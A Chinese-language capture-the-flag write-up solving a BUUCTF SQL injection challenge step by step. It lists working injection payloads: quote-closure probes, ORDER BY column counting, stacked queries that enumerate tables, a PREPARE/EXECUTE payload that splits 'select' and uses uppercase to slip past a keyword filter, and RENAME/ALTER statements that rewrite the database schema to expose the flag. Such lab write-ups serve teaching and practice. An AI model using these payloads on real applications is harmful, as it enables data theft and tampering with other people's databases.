这是BUUCTF上刷的第一道题,题目看是SQL注入
1.根据经验尝试有无常规注入
1.1 探测有无注入
1’ 报错
1’# 正常且为True
1’ and 1=1# 正常且为True
1’ and 1=2# 正常且为False
可以判断出:存在注入且参数使用单引号闭合
原因:当输入1’时,返回error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,说明原本输入的参数在SQL检索语句中使用’ ’,现在输入的一个单引号闭合了原本搜索语句中左边单引号,剩余多出一个单引号,故报错;#符号为注释符号,注释掉右单引号,所以即使输入单引号也不会报错。
1.2 尝试获取列数
1’ order by 1#
1’ order by 2#
1’ order by 3# 报错
order by n,其中n表示第n栏,当表中只有2个栏位时,oder by 3就会出错,可以依据此方法判断出表中的列数为2。
1.3 尝试获取数据库名,用户等基本信息
尝试union查询:1' union select null,user() #
页面过滤了select、update、delete等搜索词,使用大小写、加注释等方法也无法避开。
2 堆叠注入
堆叠注入尝试:在sql语句中以;表示一个语句的结束,如果一个sql语句结束后再接着一个sql语句,就会执行这两条sql语句。
2.1 查询所有的表
1';show tables;#
得到1919810931114514和words两张表
2.2 查询表中的列
1';show columns from `1919810931114514`;show columns from `words`;#
得出1919810931114514表中有一列flag为目标,words表中有两列id和data
SQL语句中出现反引号``,为了区分MYSQL的保留字与普通字符而引入的符号,数据库、表、索引、列和别名常用反引号。
2.3 找到flag的几种方法
2.3.1 使用预处理语句+堆叠注入
预处理流程
# 用于设置变量名和值 SET; # 用于预备一个语句并赋予名称,以后可以引用该语句 PREPARE stmt_name FROM preparable_stmt; #执行语句 EXECUTE stmt_name; #用来释放掉预处理的语句 {DEALLOCATE | DROP} PREPARE stmt_name;
插入payload
-1’ set @sql=CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; execute stmt;
得到结果,set和prepare被拦截
但是strstr函数对大小写敏感,尝试用大写绕过,得到最后结果
2.3.2 修改表名
当我们任意输入时,可以看到返回的结果总是两个值,而words表中对应的是id和data两列,1919810931114514对应的是一列flag,可以猜测原本题目中查询的是words表,而题目中过滤的不包括alter和rename,可以通过修改表名来得到flag
-1’ rename table `words` to `test`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100); show columns from words;# #修改表名 alter table 表名称1 rename to 表名称2; #修改列名 alter table 表名称 change 字段名称 字段名称 字段类型 [是否允许非空];
使用1’ or 1=1#即可得到flag结果。